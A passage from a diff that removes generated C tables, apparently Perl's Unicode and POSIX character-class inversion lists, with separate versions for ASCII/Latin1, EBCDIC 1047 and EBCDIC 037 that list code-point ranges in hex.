\ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXALPHA_invlist[] = { /* for EBCDIC 037 */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA2, - 0xAA, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_POSIXBLANK_invlist[] = { /* for ASCII/Latin1 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9, - 0xA, - 0x20, - 0x21 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXBLANK_invlist[] = { /* for EBCDIC 1047 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0x40, - 0x41 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXBLANK_invlist[] = { /* for EBCDIC 037 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0x40, - 0x41 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_POSIXCNTRL_invlist[] = { /* for ASCII/Latin1 */ - 4, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20, - 0x7F, - 0x80 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXCNTRL_invlist[] = { /* for EBCDIC 1047 */ - 26, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4, - 0x5, - 0x6, - 0x7, - 0x8, - 0xB, - 0x14, - 0x15, - 0x17, - 0x18, - 0x1A, - 0x1C, - 0x20, - 0x26, - 0x28, - 0x2D, - 0x30, - 0x32, - 0x33, - 0x37, - 0x38, - 0x3C, - 0x3E, - 0x3F, - 0x40 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXCNTRL_invlist[] = { /* for EBCDIC 037 */ - 26, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4, - 0x5, - 0x6, - 0x7, - 0x8, - 0xB, - 0x14, - 0x16, - 0x17, - 0x18, - 0x1A, - 0x1C, - 0x20, - 0x25, - 0x28, - 0x2D, - 0x30, - 0x32, - 0x33, - 0x37, - 0x38, - 0x3C, - 0x3E, - 0x3F, - 0x40 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_POSIXDIGIT_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXDIGIT_invlist[] = { /* for EBCDIC 1047 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXDIGIT_invlist[] = { /* for EBCDIC 037 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_POSIXGRAPH_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x21, - 0x7F -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXGRAPH_invlist[] = { /* for EBCDIC 1047 */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x51, - 0x5A, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA1, - 0xAA, - 0xAD, - 0xAE, - 0xBD, - 0xBE, - 0xC0, - 0xCA, - 0xD0, - 0xDA, - 0xE0, - 0xE1, - 0xE2, - 0xEA, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXGRAPH_invlist[] = { /* for EBCDIC 037 */ - 31, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x51, - 0x5A, - 0x5F, - 0x60, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA1, - 0xAA, - 0xB0, - 0xB1, - 0xBA, - 0xBC, - 0xC0, - 0xCA, - 0xD0, - 0xDA, - 0xE0, - 0xE1, - 0xE2, - 0xEA, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_POSIXLOWER_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x61, - 0x7B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXLOWER_invlist[] = { /* for EBCDIC 1047 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA2, - 0xAA -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXLOWER_invlist[] = { /* for EBCDIC 037 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA2, - 0xAA -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_POSIXPRINT_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20, - 0x7F -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXPRINT_invlist[] = { /* for EBCDIC 1047 */ - 31, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x41, - 0x4B, - 0x51, - 0x5A, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA1, - 0xAA, - 0xAD, - 0xAE, - 0xBD, - 0xBE, - 0xC0, - 0xCA, - 0xD0, - 0xDA, - 0xE0, - 0xE1, - 0xE2, - 0xEA, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXPRINT_invlist[] = { /* for EBCDIC 037 */ - 33, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x41, - 0x4B, - 0x51, - 0x5A, - 0x5F, - 0x60, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA1, - 0xAA, - 0xB0, - 0xB1, - 0xBA, - 0xBC, - 0xC0, - 0xCA, - 0xD0, - 0xDA, - 0xE0, - 0xE1, - 0xE2, - 0xEA, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_POSIXPUNCT_invlist[] = { /* for ASCII/Latin1 */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x21, - 0x30, - 0x3A, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0x7F -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXPUNCT_invlist[] = { /* for EBCDIC 1047 */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x51, - 0x5A, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0xA1, - 0xA2, - 0xAD, - 0xAE, - 0xBD, - 0xBE, - 0xC0, - 0xC1, - 0xD0, - 0xD1, - 0xE0, - 0xE1 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXPUNCT_invlist[] = { /* for EBCDIC 037 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x51, - 0x5A, - 0x5F, - 0x60, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0xA1, - 0xA2, - 0xB0, - 0xB1, - 0xBA, - 0xBC, - 0xC0, - 0xC1, - 0xD0, - 0xD1, - 0xE0, - 0xE1 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_POSIXSPACE_invlist[] = { /* for ASCII/Latin1 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9, - 0xE, - 0x20, - 0x21 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXSPACE_invlist[] = { /* for EBCDIC 1047 */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xE, - 0x15, - 0x16, - 0x40, - 0x41 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXSPACE_invlist[] = { /* for EBCDIC 037 */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xE, - 0x25, - 0x26, - 0x40, - 0x41 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_POSIXUPPER_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXUPPER_invlist[] = { /* for EBCDIC 1047 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXUPPER_invlist[] = { /* for EBCDIC 037 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_POSIXWORD_invlist[] = { /* for ASCII/Latin1 */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0x41, - 0x5B, - 0x5F, - 0x60, - 0x61, - 0x7B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXWORD_invlist[] = { /* for EBCDIC 1047 */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6D, - 0x6E, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA2, - 0xAA, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXWORD_invlist[] = { /* for EBCDIC 037 */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6D, - 0x6E, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA2, - 0xAA, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_POSIXXDIGIT_invlist[] = { /* for ASCII/Latin1 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0x41, - 0x47, - 0x61, - 0x67 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXXDIGIT_invlist[] = { /* for EBCDIC 1047 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x81, - 0x87, - 0xC1, - 0xC7, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_POSIXXDIGIT_invlist[] = { /* for EBCDIC 037 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x81, - 0x87, - 0xC1, - 0xC7, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_TITLE_invlist[] = { /* for all charsets */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1C5, - 0x1C6, - 0x1C8, - 0x1C9, - 0x1CB, - 0x1CC, - 0x1F2, - 0x1F3, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FBC, - 0x1FBD, - 0x1FCC, - 0x1FCD, - 0x1FFC, - 0x1FFD -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_UPPERCASELETTER_invlist[] = { /* for ASCII/Latin1 */ - 1255, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0xC0, - 0xD7, - 0xD8, - 0xDF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C7, - 0x1C8, - 0x1CA, - 0x1CB, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 